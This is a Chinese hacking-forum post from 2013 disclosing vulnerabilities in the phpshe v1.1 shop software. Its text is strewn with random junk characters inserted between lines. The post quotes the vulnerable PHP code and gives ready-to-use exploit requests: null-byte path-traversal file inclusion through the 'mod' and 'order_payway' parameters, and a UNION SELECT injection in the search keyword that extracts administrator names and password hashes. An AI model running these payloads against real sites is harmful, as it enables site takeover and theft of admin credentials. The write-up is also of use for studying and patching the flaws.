找回密码
 立即注册
查看: 3158|回复: 0
打印 上一主题 下一主题

phpshe v1.1多处SQL注入和文件包含漏洞Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-16 16:45:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
/*******************************************************/! B1 f5 P1 v: k* q. p8 S' i' v" ^  X" u
/* Phpshe v1.1 Vulnerability
1 Q& R0 l& W5 e( f" |, |/* ========================
, o" u' k: g. g8 ?1 e5 ?/* By: : Kn1f3
3 N0 |6 k6 [! _$ S/* E-Mail : 681796@qq.com# C8 U8 T5 o7 p! X* p
/*******************************************************/$ f4 R1 [- E' g$ X5 i7 n5 Z
0×00 整体大概参数传输' B  s3 ?' J8 H; f
. u/ A# e0 |3 z
. }" q- Q. U3 O+ X  x
/ M% f2 H! F1 S7 A( j' \$ p
//common.php
# N! [+ s  V: `if (get_magic_quotes_gpc()) {
, Q; [  X' x' B9 ]!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');+ B* _0 |: ~9 x4 |! r
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
& A; ~3 z; }3 C" V/ ?; {' H9 y}
7 V# |: ~; P1 ^else {
; s5 n# d1 @, K4 a!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');( L! Q% |; f2 S0 Y; p
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
! J/ U& N/ Z( G: f4 O1 R! N9 U) a' e}
/ j/ s7 M! d: d* _, d* l# g" {session_start();8 n" L& j; K8 @; |" M+ z3 E  \
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
/ H) _* |& h+ g!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');5 T. J* h2 n3 ^. W  P* j- D
. [6 m' k. e/ S( H9 M
0×01 包含漏洞
9 S4 J! X+ t0 K5 q) T7 h6 { " W' \8 }; a- [. K. i: F. I
/ @1 E5 ~; E6 I
//首页文件
( y6 ~0 V5 k. G# N/ s<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
2 v& Z( ?& p. t* y( ]# w; G5 P0 minclude("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞* b" q9 n4 Q: c9 T- ~
pe_result();
1 Y0 W# C: l8 n/ v6 J?>
$ q8 o# t% k7 S0 k//common 文件 第15行开始
% S7 v" o4 _! u  j: \url路由配置& ^. ^, b" x  G8 J5 E% r! t, ]
$module = $mod = $act = 'index';
3 _6 H- |$ o( Y- U$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);7 ^7 t6 r8 W! Q* }6 ~# ?
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);# H+ |% y" W; }0 `5 H, \
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
0 p# O: h. @# `% ?//exp:http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
0 u( ~  I* D& ?! X# c" H* W) Z! L* D


% s$ Z3 b) q# C 2 A; ^! F+ y% M. c2 L, {+ Q
0×02 搜索注入2 J( ?( @: i2 n8 A7 @' W
9 y* ?& m- l5 ~. `3 b( c6 V
<code id="code2">

//product.php文件
! n: O0 _4 l1 Z- {# B6 Y7 _case 'list':
1 q3 R* v' T* R7 P$category_id = intval($id);
- t3 m4 I  U$ ]- L$info = $db->pe_select('category', array('category_id'=>$category_id));
9 D5 n; m/ T% n, {9 A: t; G: d//搜索
& p7 a9 n% A) Q# ~$sqlwhere = " and `product_state` = 1";& j& e. J; _2 M. Y+ a
pe_lead('hook/category.hook.php');
2 Q2 C8 J( e9 _" S. Vif ($category_id) {
. N7 u* u* ^9 s% X5 g7 Z: p9 H  L. Ywhere .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";/ k; u: W- r9 _$ y* @0 p. L
}
# n% q- `2 i' R' x$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤6 n9 E- E+ M$ S! F, j
if ($_g_orderby) {/ G$ `) Q, [% b9 ]- R6 u/ p
$orderby = explode('_', $_g_orderby);# n% u' _) f6 b/ @; w9 F
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
$ P( ?( r4 [; T" o( d3 ^+ c8 J}
) M6 r9 j- V3 Y3 T( Belse {
/ e$ k' [# y) d3 B$sqlwhere .= " order by `product_id` desc";
# c( D- p1 Z( I( j, u}
% r  \* I- W' T6 ~/ _# T) L& C$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));6 s) B2 D( Z: G) }2 x
//热卖排行
/ H7 b) H& v. V& d% w$product_hotlist = product_hotlist();
2 ^* V0 w9 t$ i//当前路径7 W. a% }1 {, u- C/ o8 @& N
$nowpath = category_path($category_id);
: w, w- ~, R4 w7 E' l& }5 @$seo = pe_seo($info['category_name']);
9 x+ `8 K! M" z: J7 [9 w( S' Ginclude(pe_tpl('product_list.html'));  z5 l% W9 f3 E" S" q: y$ v
//跟进selectall函数库
5 h( ?# K! }- X8 kpublic function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
! a- m6 u7 j6 \$ X{& O3 Q8 n& L1 V) k
//处理条件语句# \& d6 @* K! V/ B& s
$sqlwhere = $this->_dowhere($where);
. X4 X& P( S* G- Y, Dreturn $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);  C0 H. o1 G2 ?( @
}
1 \/ ]) f( _7 @5 W+ r//exp
( V9 w  I6 I* g, ^# Yproduct/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
! d, c! q! p) _0 ^

</code>) @- z' A( X0 ]1 ]; [

7 M% i3 j* s4 Y3 I* H0×03 包含漏洞2+ \# p5 i2 k4 H2 y& h/ b& W. w/ E' ?

1 X! t! g& R, Z. f3 R2 K<code id="code3">

//order.php

case 'pay':


) k4 ~* ~6 |8 ^' u$order_id = pe_dbhold($_g_id);

) F7 |' V" T* x( d4 Y
$cache_payway = cache::get('payway');

! q/ N. y4 B% y' L/ d4 ?& b
foreach($cache_payway as $k => $v) {

8 s! r; s! O, r& W0 \; V) R
$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

. S* h8 l' }6 M
if ($k == 'bank') {

5 n5 w5 H* T6 l! q, q- e6 d
$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);


, q9 }, p1 y2 X; U/ d+ c}


0 }$ G. P$ }/ b( Z( A1 B! S}

$ s! H, T" U/ _" i
$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));


) h. u3 P; Q; ?1 g!$order['order_id'] && pe_error('订单号错误...');


( r, O( c: p' j; J6 T5 T* D2 f3 ^if (isset($_p_pesubmit)) {


5 o& M0 _& m/ d+ S$ H% U+ Eif ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {


  ~1 g/ }/ h. N$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

* y# n! u# j8 {% L
foreach ($info_list as $v) {

7 k0 L7 ?, U# k. Z! e, D
$order['order_name'] .= "{$v['product_name']};";, R* Z& q1 g  u


! H' a) m6 E7 k# ?* W}

' M9 _* l0 d9 \) V# z/ f% ^8 ?
echo '正在为您连接支付网站,请稍后...';


9 x; v, H' c  M5 K) `$ u! U, n) Qinclude("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

2 `) L2 }& b/ `$ f. [# ?/ q+ R
}//当一切准备好的时候就可以进行"鸡肋包含了"

: h7 ^( x" q5 _( \
else {

* f& Z; p, V, f' c4 C& H) [
pe_error('支付错误...');


4 w0 H2 n! D- Q; w2 w) F}

1 A7 L" ]/ Y( R8 q% w
}

; o8 E5 g* J# I5 K" C0 W7 ]+ A
$seo = pe_seo('选择支付方式');

- o  Q9 q3 b4 C( T8 |, G
include(pe_tpl('order_pay.html'));


( i8 M4 E; S0 lbreak;

}

//exp:

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>* g2 \$ \( {% Q# h
http://www.myhack58.com/Article/UploadPic/2013-4/20134161293183866.jpg

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表